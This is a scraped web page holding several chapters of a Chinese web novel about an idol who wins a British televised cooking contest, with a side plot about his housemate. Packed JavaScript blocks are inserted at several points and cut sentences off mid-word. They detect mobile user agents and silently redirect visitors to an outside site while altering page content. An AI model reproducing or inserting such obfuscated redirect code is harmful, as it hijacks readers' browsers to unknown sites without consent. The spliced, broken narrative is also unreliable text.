除了个别人自知翻车以外，每名厨师都或多或少设想过自己拿下第一。 “获得四分的选手是，”夏洛特拖了长音，“醉余——” 果不其然吗？ 还没等众人鼓掌祝贺，却听她继续道：“伊薇特，还是塞缪尔呢？” 评委笑吟吟地吊着众人的胃口。 她所说的塞缪尔，是一名来自加拿大的计算机系学生，至今保持着格子衫加黑框眼镜的穿搭。 这位先生的运动能力很符合大家对他专业的刻板印象，取得了四项食材全都与预期不符的“傲人战绩”。 他用手中的培根、胡萝卜、姜和酵母粉，脑洞大开地做出全场唯一一道甜品： 姜味焦糖奶油配胡萝卜纸杯蛋糕，表面装饰以煎培根碎和焦糖丝。 对中国人来讲，西方的很多甜品舒适难以理解。 炖肉的肉桂豆蔻小茴香，甚至培根这种“猪肉本肉”，全都能成为甜品的好伙伴。 比如枫糖培根就是欧美非常著名且经典的一种口味。 评委们在点评时肯定了他的创意。 但事实上，姜、胡萝卜、培根和焦糖全都是个性突出的食材，搭配在一起难免有些微妙的打架。 选手们目光越过他，在蒋醉余和伊薇特之间游移。 夏洛特终于卖够关子，满意地开了口：“塞缪尔！这四分就属于你了。” “芜湖！”一位来欧洲务工的美国选手鼓掌道。 他左顾右盼两下，动作逐渐变慢、停了下来。 偌大的厨房里，只有他一个人 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夏洛特无奈地朝另外两个评委摊了摊手，作为代表给出了解释。 在这样投飞镖选食材的情况下，评委们认为塞缪尔用出乎预料的材料逆风翻盘，展现出了迅捷的思维和勇于打破常规的创造力，这种精神值得鼓励。 另外两位选手的作品不是不好，但作为拿到自己满意食材的人，表现还不够突出。 “这不是我们的问题，这是赛制的问题，”伊薇特皱眉道，“很显然，我和醉余不该为自己善于掷飞镖而买单。” 场面一时僵住，导演组站了出来。 他们喜欢争吵带来的热度，但“造假”“不公平”的标签对自诩民主平等的欧美综艺来讲是致命的。 他们给评委和选手们找了个台阶下：“我们很高兴看到各位拥有对食物味道最纯粹的追求，确实是赛制考虑不周。” “请各位选手依次到采访室填写匿名投票，并由节目组公开唱票。 “如果有超过四分之三的选手不认可这个结果，则前三名都能获得四分。” 9. 二十四种食材 超过四分之三实在是个很苛刻的条件。 全场一共十二名选手，四分之三就是九人。导演要求的“超过”甚至不是大于等于，而仅仅是大于。 换句话说，最多只能有两位选手认可结果。 更何况他们并不打算更改排名，只是做一些积分上的调整。 哪怕是蒋醉余自己，也没有对成功抱有多么大的希望。 如果最后真的改变了结果，第一名的塞缪尔将失去他傲视全场积分的优势，第四名以后的所有选手，则都可能面临更加艰难的翻盘局势。 蒋醉余投完票回到座位上，盯着灶台半沉思半发呆。 没过多久，总导演的声音打破了寂静。 “这是个让人又爱又恨的箱子，不是吗？”导演故作轻松道。 众人顺势望去，他手中抱着的箱子分明就是预赛时评委投票所用的那一只。 从前它为在场的十二人赢得了一个胜利的开局，目送着他们进入正赛，如今又要来见证一则关乎比赛进程的选择。 摄像师把着一个镜头推到导演身后，拍摄他的手部特写，并直接连接到赛场的屏幕上作为直播。 导演使劲晃了晃箱子，装有投票的小球在里面骨碌碌滚动，相互碰撞。 他再次强调道：“我要开始了哦？” 吊人胃口的把戏并没有什么用，选手们只是沉默地看着。 “第一票。”他抓出一个球。 打开小球，展平纸条，上面印着“认可结果”和“反对结果”两行字。 前者的旁边被画了一个大大的勾。 “很可惜，开局不利。”导演耸了耸肩。 灼烫的目光落在他背后，蒋醉余面色不改，向和自己不小心对视的选手回以微笑。 他想起自己填选票时采访导演问的话：“你对这个排名有什么想法吗？” 他那时没有回答。 如果没有那场梦，也许他现在还在公司租的小房子里和队友相看两厌，或者如梦中所说横死街头。 除了真正一夜之间彻悟的厨艺知识，他对这些天来的其它事物都没什么实感：得过且过，每一点欣喜都像是窃来的。 他不觉得自己这样的想法有什么不对。 佛系，使世界更美好。 但显然总导演喜欢更有激情的生活。 他已经打开了第五个小球，身后白板上是助理记录的票数。 一票认可，三票反对。 “又是一个认可，”他大声又刻意地叹了口气，“情况不妙哦。” 后面还有七票，除非剩下所有人都选择反对，否则结果很快就会有定论。 截至目前五分之二的认可率意味着，蒋醉余得到那积分的概率大约是…… 不到百分之三。 唱票还在继续，希望的曙光似乎开始眷顾他，接下来的几票都对排名表达了异议。 “第十一票，不认可。” 之前表现得冷静又强硬的伊薇特也紧张了起来，开始反复地在胸口画十字，口中念念有词地向自家猫狗祈祷：“小咪小汪，保佑妈妈。” “第十二票——” 导演拖长了声音，慢慢旋开小球、取出选票。 他突然扭过了身子，挡住摄像机的视角，隐蔽地展开纸条： “这位选手认可了排名。” 全场鸦雀无声。 最开始庆祝塞缪尔夺冠的美国选手又欢呼起来，嚷嚷着“导演辛苦了”。 记录选票的助理手一顿，却没有在白板画下最后一笔。 导演用手挡着纸条放到摄像机前。 “其实我也没有想到会是这样的结果，我们也绝对没有试图控制结果，《美食之王》比赛全程都有第三方公正处进行监管。” 他慢慢抽开手。 “这位选手认可了排名，但他又反悔了。 “最终，他选择了：不认可！ “恭喜醉余，恭喜伊薇特，你们也将这一轮积分赛中得到最高分四分！” 纸条上的笔迹展现在众人面前。 两行选项上都打着对勾，唯一的差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一切似乎进展顺利，蒋醉余放下勺子，陷入沉思。 本周主题“游戏”难道真的在这轮比赛中就这样毫无存在感吗？ 10. 花式翻车挑战 蒋醉余也是在穿越回来后才发现，自己这具身体竟然拥有如此独到的天赋。 作为偶尔还要上台表演的现役偶像，坚持健身得到的精准肌肉控制力，加上梦中习得的运刀技巧，他才得以在海选中做出极其考验刀工的菊花豆腐。 而更加令他惊喜的是，他现在的味觉敏感度未经训练，就已经超越了上一世遍尝百味、刻意培养的结果。 他望着自己在纸上列出来的食材和面前的这锅汤，眉头紧锁，依然感到微妙的不对。 一定还有什么风味是他没有注意到的。 蒋醉余隐隐有些兴奋。 窥破谜题的欲望在心中发酵，他忍不住动用自己的一切知识和线索寻找答案。 这一锅汤和“游戏”的比赛主题是否会有什么样的联系呢？ 让自己感觉不太对劲的味道又来自哪里呢？ 十分钟的时限即将结束，一抹灵光在他脑中闪过。 汤中甜味的来源，有番茄，有鼠尾草，有欧防风…… 不，不是欧防风，相比起根茎类植物的质朴甜味，它更像是一种与番茄不同的酸甜。 是雪梨，他们加了雪梨。 最后三十秒的铃声响起，他连忙拿笔修正了答案，压线举起了手。 客观题很好阅卷，评委们当场宣布排名。 “……第二名，法国选手薇薇安，答对二十一种。”奥斯汀简单道。 “而万众瞩目的第一名，来自华夏的醉余，”夏洛特语气兴奋，“他写出了全部的材料，是唯一一位写出了雪梨的选手，也是《美食之王》五季以来第三个在食材判断测试中得到满分的人。” “雪梨？”有人震惊地复述出声。 奥斯汀抱起一直摆在他们身后白板旁的快乐宝宝厨房套装：“是的，看到了吗，就是这里面这个黄澄澄圆滚滚的雪梨。” 他眨了眨眼睛：“我们节目是很尊重赞助商的。” 没有人给他捧场了，奥斯汀遗憾地翻过白板，在背面的表格上填写截至目前的积分。 蒋醉余以六分满分稳居第一，伊薇特拿到五分，分数构成为4+0的塞缪尔和2+2的薇薇安并列第三。 至此，本周的比赛只剩最后一轮，将在明天下午进行。 连续两天的比赛对选手的身心也是一种考验，导演组并不打算再多加什么障碍，做完最后的采访就把他们放回家。 但纵然如此，也已经到了将近晚上十点。 等他到家，就看到齐新雨正抱着平板笑得眉眼弯弯，难得自然流畅地向他招手： “蒋先生你看，这里有个小孩模仿菊花豆腐反复失败，把自己气哭了。” 距离《美食之王第五季》开播已经整整两天过去，节目组在短视频软件发布的“菊花豆腐挑战”热度不断发酵。 他们号召观众用各自的方法尝试仿制这道菜，热度最高的五位博主将获得奖品。 只是这道菜的难度太高，目前网友们发布的大多是用真菊花伪装的整活视频和千奇百怪的翻车视频。 人们对这个活动的热情高涨，现在标签下点赞数第一的视频，甚至只是来自一个随手记录生活的高中生。 “兄弟们，”这位博主眼圈通红，说话哽咽，“我看了《美食之王》以后兴冲冲地想要做一朵菊花豆腐。” “我觉得我很有自知之明的，我不打算挑战法式清汤，也没想切得那么细。但是我没想到，我还是翻车了。给你们看看我的车祸全过程。” 几句介绍完毕，视频转了场，摄像头对准案板上的一盒冻豆腐。 “现在是星期日早上九点，我刚起床。昨天我看完《美食之王》之后，就去翻了我们家冰箱，在冷冻室里发现了这个。” “结果室温化冻一晚上之后，我刚刚检查了一下，”他说着，屈起指关节敲了敲盒子表面。发出闷沉的咚咚声，“我妈好像把它冻了太久了，连里面的卤水都冻上了，估计没法用。” 画面又一变，第三段记录接入。 “现在是星期日早上十点半，我从亚洲超市回来了。那个老板说只有一种豆腐，我看着和节目里也挺像的，就买了。” 他把豆腐从购物袋里拿出来展示，如果有认识中文的人看到，一定会沉痛地告诉他：你又要失败了，这是一盒板豆腐。 但是亚超老板是个韩国人，高中生也没有华人朋友，所以他懵懂又快乐地“正式”开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775087|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了挑战。 手指轻轻一弹，他在雪亮的西餐刀上掸一点水。 博主得意地念叨：“别的不说，这个动作我学得还是很像的。” 他小心翼翼地按住豆腐，每一刀都要看准位置比划半天再落下。在最终视频里直接被加了十六倍速。 终于，豆腐上排布着彼此间距三毫米左右稀疏横竖格纹，他骄傲地把豆腐挪到装了热水的碗里，轻轻搅动水面，期待着豆腐“丝”随水波散开。 “见证奇迹的时候到了……？” 镜头开始晃动，暴露了录制者波动的内心。 众人感觉自己仿佛能听见有谁在迷茫地发问：我菊花豆腐呢，我那么大一朵菊花豆腐呢，怎么不见了？ 水中的白色固体支棱着不怎么纤细的枝条，像一颗方头方脑的海胆。 它的花瓣不仅不柔软，甚至还有一些细小的孔洞，和节目里蒋醉余做的全无相似之处。 “兄弟们，我查了才知道啊。”几个小时之后。愈挫愈勇的博主又一次开始摄制。 “我之前买的那个叫板豆腐，它就是比较粗糙一点，要用嫩豆腐或者内酯豆腐，其实在T记之类的连锁超市就有卖。” “我现在有切的经验，还看过了资料，我不信我这会还会翻车。” 他把纸盒装的嫩豆腐放在案板上，一时失语。 “……可是这个要怎么打开啊？” 他遵循着提示把盒子从上方展开，菜刀剪刀裁纸刀齐飞，好不容易沿着虚线打开了盒子。 现在，豆腐盒子只有五个面，顶面已经被整个剪掉。 按照包装上的说法，他只需要把豆腐倒扣出来就可以了。 博主抖抖盒子，拍拍底面，嫩白光滑的豆腐露出了真面貌，似乎马上就要整个脱离纸盒。 却在一瞬间啪地从中断裂，半块不规则的豆腐落在案板上。 因为跌落太快，底部似乎还有一点砸坏了。 博主终于绷不住了，视频视角一阵天旋地转照向大理石地板，只能听到背景中他悲愤的哀嚎。 “怎么没有人告诉过我它这么软啊！ “那个醉余是会华夏功夫才能做出来菊花豆腐吧！” 11. 脆皮魔方蛋糕 “欢迎各位厨师回到‘游戏’主题周的第三轮竞赛，也就是最后一轮。” 这一次，他们将会现场学习制作一款美食奖获奖甜品，再沿着这份思路自行加以创新。 对于下半区选手来说，这是有可能“逆天改命”的一轮比赛。 第一名能得到整整六分，二至四名有四分，五至九名有两分，最后三名则只能零分。 万一蒋醉余在这一轮坠机垫底，哪怕前两局都没能得分的选手，也依然有可能和他平起平坐——虽然这个概率是零。 奥斯汀露出一个让人有些紧张的怜悯笑容，从身后端出两个盘子。 左边的盘子上放了一只印着赞助商logo的三阶魔方，右边的盘子上则是一个做成魔方样子的的蛋糕。 蛋糕放在一个三层支架上，由二十五块一口一个大小的方形小蛋糕组装而成。 第一层有九块小蛋糕，下两层每层八个，正中心是支撑架子的转轴。 转动支架就能模拟拧动魔方的效果。 选手们聚集到奥斯汀面前，眼神炯炯地盯着他取下一个小方块切开，露出漂亮清晰的截面。 整个蛋糕一共有三种口味，覆以六种颜色的淋面和装饰。 但无论哪种口味，其内部结构全都相同： 最外层是光亮的巧克力淋面，中间蛋糕体有三层海绵蛋糕和两层夹心组成。 这款蛋糕在拿到美食奖的时候，就凭借繁琐的工艺和复杂的风味征服了所有人。 “出于比赛时长和繁琐的制作工序考虑，我们并不要求大家也制作这么多种小蛋糕。 “你们只需要完成两至三种口味和两至三种外观就可以。” 夏洛特说，举起手示意： “如果没有问题，那么比赛——现在开始。” 话音未落，选手们一窝蜂冲向食材储藏室。 蒋醉余走在最后。 他没那么多雄心壮志，只准备做两种口味，黑芝麻和白莲蓉。 鲜莲子上锅蒸熟，碾压成泥后和黄油、糖一起在不粘锅里小火翻炒成团，再取少量栗子泥提升风味，就做成了奶白色的莲蓉。 蒋醉余在一份海绵蛋糕糊中加入黑芝麻粉，另一份则减少面粉、糖等用量，将一部分替换为炒好的莲蓉。 他想了想，又向其中分别滴了一些黑色和白色色素。 一边等待蛋糕片烤制和晾凉，他一边把大量黑芝麻与黑糖焦糖混合打碎，做成了帕林内酱。 帕林内在法语里是原本榛果酱的意思，后来延伸成所有焦糖坚果研磨成的膏状酱。 比起莲蓉的细腻绵软，它还能间或给食客带来嚼到干果碎的惊喜。 蛋糕片和夹心酱在立方体模具中逐层铺好，蒋醉余将小蛋糕们送入冰箱冷冻定型。 他看看时间，开始准备蛋糕的装饰。 镜面巧克力淋面可以等到最后再做，他先取出一小把红宝石巧克力隔水融化，装入裱花袋，剪开一条小口。 红宝石巧克力天然呈现粉红色，稍微调色就能得到低饱和的温和淡粉。 他用巧克力在油纸上画出一片片花瓣，在凝固之前用手掰弯塑造出弧度。 再画出圆形和一些短直线，粘在一起拼成立体的莲蓬。 将花瓣和莲蓬组装起来，就得到了一朵荷花。 他按照同样的方法做出更小一点的荷花花苞，准备好要用的淋面，拿出了定型成功的小方蛋糕。 由于在面糊里添加了食用色素，两种蛋糕看起来黑白分明。 黑蛋糕配棕黑色芝麻帕林内夹心，外层蘸白巧克力；白蛋糕配奶白色莲蓉夹心，外层蘸黑巧克力。 黑白相间，你中有我、我中有你。 他把小方块们放置在魔方蛋糕支架上，贴好装饰： 顶层的荷花肆意盛放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775088|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，侧边的花苞娇嫩可人。 最后一步了，他深吸一口气。 红宝石巧克力在蛋糕上勾出荷花茎条，这款双色魔方蛋糕终于大功告成。 线条描绘的荷花颇有丝工笔画韵味，仿佛从黑白画作上破纸而出，被赋予鲜活的生命与韵味悠长的颜色。 “哇哦，”夏洛特惊呼出声，“很漂亮哦。” 虽然蛋糕整体元素比较简单，线条也还可以更加精致，但结合比赛并不算很宽裕的时间限制来讲，已经是一份相当优秀的答卷。 “希望它的味道无愧于你下了大功夫的外表。”梅森笑呵呵地说，把一黑一白两块蛋糕放到盘子里，双双切开。 魔方蛋糕虽说是由不同的小蛋糕构成，但它们毕竟是作为一个整体呈现。 彼此之间既需要风味差，又追求和谐融洽。 评委们先分别品尝两种口味，再并为一口感受结合的风味。 蒋醉余选择的焦糖芝麻、栗子莲蓉都在浓郁的坚果香气中夹杂了烘烤的温和厚重和植物的甘醇。 而荷花也不仅仅是装饰，红宝石巧克力的天然莓果香清新独特，带来酸甜尾调。 都说中国人对甜品的最高评价就是“不太甜”，这份蛋糕就完美达成了甜而不腻的平衡。 “外形精致，调味细腻，整盘作品一如既往具有浓浓的中式风格，”奥斯汀点评道，“我在比赛中途注意到了你的巧克力调温手法，技巧非常娴熟。” “是的，和我在厨师学校时候的同学们比起来也不遑多让，很难相信你是一名没有接受过训练的纯华人厨师。”梅森跟着肯定。 这话听起来可不太对劲，蒋醉余想。 字里行间仿佛在说土生土长的中国人就该厨艺不精。 又像暗示他瞒报履历、专业人士伪装业余厨师。 甚至……他似乎已经不是第一次说出这样模棱两可的话了。 12. 人生百味蛋糕 就算梅森的话真的是有意为之，蒋醉余也不怎么慌张。 他从来都对自己中国人的身份坦坦荡荡，从海选以来就没有放弃过在菜品中加入中国元素。 他确实没有学习过任何一天西餐；节目组对“业余”二字的定义更是模糊，小餐厅厨师或是厨艺学校学生来参赛的大有人在。 也说不定是自己以前在偶像小圈子被捕风捉影、无中生有的黑料搞得过分紧张了，人家可能真的是在赞美呢。 蒋醉余暗自摇摇头，停下更多的琢磨。 平心而论，他还是希望这里是一个和谐单纯的环境，大家都把精力放在钻研美食上——虽然这比较像痴心妄想。 在他思索的时候，《美食之王》的祖传火药味就已经又一次在厨房里蔓延开来。 纠纷却不是发生在某两名选手间，而是美国选手安迪对评委和对手进行了无差别扫射。 从第一轮比赛宣布结果时给塞缪尔庆祝，到现在和评委吵起来， 安迪从一开始就表现出了极高的活跃度和直接的性格。 靠着自己惊世骇俗的发言和格外远大的志向，安迪捕捉了全场注意力。 短短的规定时间内，他做了三种口味的蛋糕，倔强地复刻了原版的六种淋面，甚至设计了蘸酱。 橙色和绿色外壳的是菠菜胡萝卜酸奶蛋糕，加入了大量肉桂粉和海盐。 黄色和蓝色的是柠檬芝士味，芝士蛋糕略有微酸，柠檬啫喱与其中的薄荷提供清凉的感觉。 最后红色和棕色的是辣椒黑巧克力味，淋面里放了胡椒粉，甜中透着辣味与高浓度巧克力的一点点苦。 在蛋糕的旁边，还有一盒香草冰淇凌用来搭配食用。 他摆好了蛋糕，一本正经地介绍： “通过这款蛋糕，我想要表达的主题是人生百味，酸甜苦辣咸都会有所经历，但仍要相信甜味才是本色。” 评委看看蛋糕，陷入沉思。 也许手忙脚乱也是人生的一种，这道甜品透露出明显的时间不够的紧迫感。 蛋糕表面不算平整，还有巧克力流淌的痕迹。 冰淇凌球也没有经过整形修饰，整体装盘便显得有些粗糙。 夏洛特张了张嘴，反复措辞：“你……呃，你的效率确实很高，每种蛋糕单独考虑的话水平也不错…… “但是你觉得，这么多种味道，会不会不太好协调在一起呢？” “不会吧，”安迪自信摇头，“它们都有甜味啊。” “而且我这个蛋糕不是要混在一起吃的，而应该一个接一个吃，感受不同的味道逐渐在口腔中炸开。就像一场舞蹈表演，芭蕾拉丁弗拉明戈是不同的节目，不能一起上台。” 他兴奋地描述着，最后还不忘了加一句：“像醉余那种两种口味差不多的做法，根本就是在偷懒。我来这里是为了追求更尖端的技艺和更脱俗的创意。” “哦？”奥斯汀看热闹不嫌事大，望向站在操作台后的蒋醉余，“醉余，他说你偷懒，你有什么想法吗？” 蒋醉余不置可否地笑起来：“就当他说的都对吧。” “他反驳不了我，只能阴阳怪气，因为事实就是，他们这种做的两种口味方法相似的人，根本没有把比赛放在心上。”安迪说。 蒋醉余摸了摸额头，确定自己体温正常、并不会幻听。 他摊了摊手，一副懒洋洋的敷衍样子：“我很遗憾。” ……你遗憾个龟龟。 安迪气死了，扭头把期待的目光投向评委。 梅森咳了一声：“事实上，我不是很认同你的观点。” “这个世界上一定存在能够将酸甜苦辣咸五味平衡得很好的蛋糕，但不是你这款。我现在嘴里像是在打架。” 这话说得严厉，夏洛特犹嫌不够：“我们想要的是创意菜品，不是用菜品创死评委。” 安迪脸上青红变换：“我无法苟同。 “可能是我的思想太超前了，我没想到连各位主厨都没法理解我。” 他说着竟觉得有些委屈，向节目组提出申请： “我希望得到一次匿名投票机会，让大家来看看我到底做得怎么样。” 录制只暂停了几分钟，总导演几乎不假思索地驳回了他的要求。 第一轮比赛的结果受到赛制影响，选手和评委中大多数人都有意见，这才有了全员投票。 而安迪他实在只是……单单纯纯的水平不够。 “希望你冷静下来之后能够理解评委的打分和节目组的选择，以后我们会慎重考虑比赛内容，不再增加任何选手投票环节。”导演说。 结果不出所料，不忿的安迪位列倒数三位，拿到了零分。 蒋醉余则又一次收获六分满分，以一次第二、两次第一的成绩在本周积分中一骑绝尘，比第二名的伊薇特高了三分。 除他之外，全场甚至没有另一个人拿到两位数积分。 “现在，醉余，”奥斯汀乐呵呵道，“你可以来领取你的一万英磅支票和快乐宝宝厨房套装了。” 蒋醉余叹了口气，拎着五彩缤纷的玩具礼盒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775089|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同评委和赞助商代表尴尬合影。 他搓了搓自己笑得有些僵硬的脸，看向手中另一个盒子。 这是唯一的好消息，他从导演那要来了一套全新的飞镖和靶子。 今年是个冷冬，春天直到这时候才姗姗来迟。他拿着自己的“战利品”们，心情很好地走在暖融融的回家小路上。 微风拂面，高大的落叶树木尚未全部回绿，黄的白的野花已经蔓开在各处草坪。 这样温和明媚的天气，最适合待在户外。 齐新雨坐在花园里，没什么目的地随手几笔描出一朵花或一只鸟摇曳的模样，听到门开便回过头去。 “要玩飞镖吗？”蒋醉余问。 齐新雨不动声色地吞了吞口水，在内心无声尖叫。 发问者长得太过一身正气，以至于随口一问都显得像什么庄严重大的邀请，在伦敦珍贵的阳光下被模糊出一身天人似的幻光。 蒋醉余走下台阶，一边拆开包装一边向他解释： “这周比赛的道具，导演没什么用就跟着奖品一起丢给我了……拿来玩玩也挺有意思的。” 齐新雨起身收好纸笔：“蒋先生很喜欢飞镖吗？” “还好，”对方点点头，“我以前练过，不追求精度其实很适合放空心情。” 他小跑着将靶子挂到花园的树上，看到蒋醉余已经抽出了一只飞镖。 齐新雨屏息凝神看着他捏住飞镖，只觉得蒋醉余胳膊轻轻一抖，磁吸飞镖就直直贴在了靶子的正中。 他这才摆脱了僵硬的站姿，长出一口气。 “不至于这么紧张啊。”蒋醉余笑起来，递给他一只新的飞镖。 这家玩具商似乎一直以专业、还原著称，镖杆细长、重心稳定，用三指轻轻捏住时能获得恰到好处的量感。 按蒋醉余的说法，手指只需要确保飞镖不掉落，用躯干带动轻轻发力就可以。 齐新雨脑子晕晕乎乎的，声音流水似的划过。 蒋醉余做完饭总是喜欢先洗个澡，此时站在齐新雨身后，陌生的洗护用品香气将他包围。 每一个神经元都拉响警戒，根本没有空余的算力来反应自己接收到了什么讯息。 他听到蒋醉余叹了口气，然后一只手落在他握镖的手背上。 “放松，”蒋醉余说，“指甲要扣进肉里了。” 齐新雨唰地一下把蜷缩的无名指和小指伸开，但手指依然僵硬，一朵兰花似的炸开。 蒋醉余几乎有些无奈了：“小齐，我就这么让你紧张吗？” 13. 硬核菊花豆腐 齐新雨腕子一抖，飞镖直接脱了手。在半空中不住跌坠，还没飞到靶子上就一头落地。 他声如蚊呐地回了一句“没有”，解脱一般同手同脚地跑去捡飞镖。 虽然形象好像有点岌岌可危，但是他还是想在蒋先生面前保持自己的阳光开朗艺术生人设的。 他看一眼蒋醉余似乎有些落寞的表情，赶紧在心里对自己疯狂摇头。 不行不行。 蒋醉余是让自己在二十人男团中一眼荡魂的瑟瑟灵感缪斯，这种事情是能说出来的吗？ 万一蒋先生问他的追星账号怎么办！ 他捏着飞镖深吸一口气，乖乖把自己又送回蒋醉余身边。 蒋醉余微微俯身：“既然不紧张就别抖啦，拿出你握笔的稳定性……另一只手也不要握拳，就是这样……” 又起一阵微风，将急急盛放的花瓣从树上吹落。 黑色的飞镖破风而行，镖翼轻轻摇晃几下，钉在了靶子上。 也许是多年美术功底的馈赠，他对于距离和方位的估计还算准确。那只飞镖虽然没有正正落在靶心，但也距离不远。 换句话说，它和蒋醉余载中心的飞镖相距不远。 它们并肩而立，杆尾的羽簇挤在一起，明明只是两只玩具，却竟让人觉得十分亲密。 “好耶！”齐新雨小声欢呼道。 蒋醉余边鼓掌边夸赞他，语罢话锋一转：“你就没觉得刚刚视线被挡了吗？” 齐新雨没听明白，茫然地望过去。 一只手指在他他眼前逐渐放大，齐新雨下意识闭眼，却感觉它蜻蜓点水似的落在自己鼻梁上。 这、这是要做什么……他感觉自己整个人都烧了起来，连忙睁开眼。 蒋醉余手指上沾着一片粉白的花瓣，向他扬了扬眉。 花瓣又被吹回了风里，迎着烂漫的晚霞飞出了院子。 接下来又是几个连续的晴天。 蒋醉余在课间看着无云碧空，深觉自己这一周见到的太阳比之前一个月都多。 厨房里吵吵闹闹，选手们正自以为他没听到地聊着短视频软件上的菊花豆腐挑战。 “我短视频软件首页全是醉余的那个挑战，它好像越来越火了……” “我也是，我还自己试了，有的地方落点没把握好，和前一刀连在一起，就会有削掉的豆腐片或者丝粘在刀片上！他到底怎么做到全程刀面都干干净净的。” 挑战热度居高不下，好几天过去之后终于有人挑战成功。 说是挑战成功其实也不甚准确，最近网友们议论的焦点之一就在于，那个博主用的方法究竟该不该被承认。 成功者的账号叫“吃香蕉的摩尔根”，他是一名全职做自媒体的美食博主，但并不以技术高超闻名，反而常常翻车出圈。 他和他的团队在《美食之王》播出后立刻看准了菊花豆腐的题材，四处查找资料。 当他无意间在某个橘色的中国购物网站上发现了一款说刀不是刀的“菊花豆腐刀”，他知道，自己的机会来了。 他们发动各种人脉，终于在五天后拿到了实物。 果不其然，这期视频一上传，就凭着“教你十分钟零失败复刻菊花豆腐”的吸睛标题一炮而红。 视频直入正题：“大家好，我是摩尔根，今天我们来挑战菊花豆腐。” 他在面前摆出两个不锈钢长方体。 长方体的底面是正方形，侧棱则更长一些，它们上下底镂空，做成空心桶装。 第二个模具稍小一圈，有细细密密的横竖铁丝和针筒似的推板。 “我面前的这三个奇怪的工具，分别是菊花豆腐的定形模具、切丝模具和推板。” 他拿出一块嫩豆腐，用第一个方框扣住一块豆腐，就像是用饼干模具在面饼上取型。 然后把切丝模具套进定形模具里面，柔软的豆腐在纤细的铁丝面前毫无阻挡之力，显露出格纹印记。 他在碗里加了一点番茄罐头的汤和牛肉味浓汤宝，用开水化开，深吸一口气：“嗯，番茄味和牛肉味都非常浓郁，罐头食物真是人类智慧的结晶。” 取走定形模具后，他用推板把豆腐推入汤中，用叉子轻轻搅散。 一阵激昂的背景音乐和意味不明的慢放镜头语言过后，观众期待值被拉到最高。 万众瞩目下，豆腐竟然真的如原版一般舒展开来。 镜头一转，博主从蒸锅里拿出蒸熟的豆腐，撒上一颗番茄干，自信地双手亮起拇指： “你永远可以相信摩尔根。” 评论倒是不怎么领情。 【重新定义复刻，这明明是缺少技术的超低配版。】 【明人不说暗话，我想要模具购买地址！】 【一个可怕的事实，借助工具切出来的丝也没有醉余手切的细……】 这话一出，兴致勃勃想买菊花豆腐刀的众人纷纷陷入失语。 卑微的请求被顶到楼中楼第一：【我知道我和现代科技加起来也比不上醉余，你就不要捅破了吧呜呜呜。】 在这样的情况下，又一个视频进入了点赞热榜。 米歇尔是一名美国大学生，他有一个好朋友叫布莱恩，是《美食之王》及其衍生产物的忠实拥趸。 在看到布莱恩发给自己的视频之后，米歇尔突然有了一个大胆的想法。 作为一个热爱动手的工科生，我仿制不出来豆腐，难道还仿制不出来模具吗？ 看着盛开如洁白羽翼的毛茸茸豆腐花，他索性决定干个大事，申请了学校的3D打印机。 在电脑上画出图纸、挑选可用的食品级打印耗材、尝试能不能挑战更细的格纹…… 这样热议话题和硬核技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775090|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术的搭配，完美戳中了网友的兴趣点，使得他录制的视频点赞数飙升。 功夫不负有心人，在视频的最后，菊花豆腐终于在他们面前的清水碗中盛开。 没过几个小时，在评论区一片溢美中，米歇尔发布了一条新的视频。 视频很短，只有持续半分钟的一个场景： 他和布莱恩坐在投影仪前，一人抱着一碗满满当当的菊花豆腐，一口一朵花吃得好不惬意。 底下配着一行字：“现在是英国时间星期六晚上八点，我们正一边吃菊花豆腐一遍等着看《美食之王》第二集。 无能狂怒的网友们留下一句“你等着”，连忙也冲到了视频网站。 这一集讲述的是选手们预赛时的经历，等到下周的节目，他们就可以看到正式比赛了。 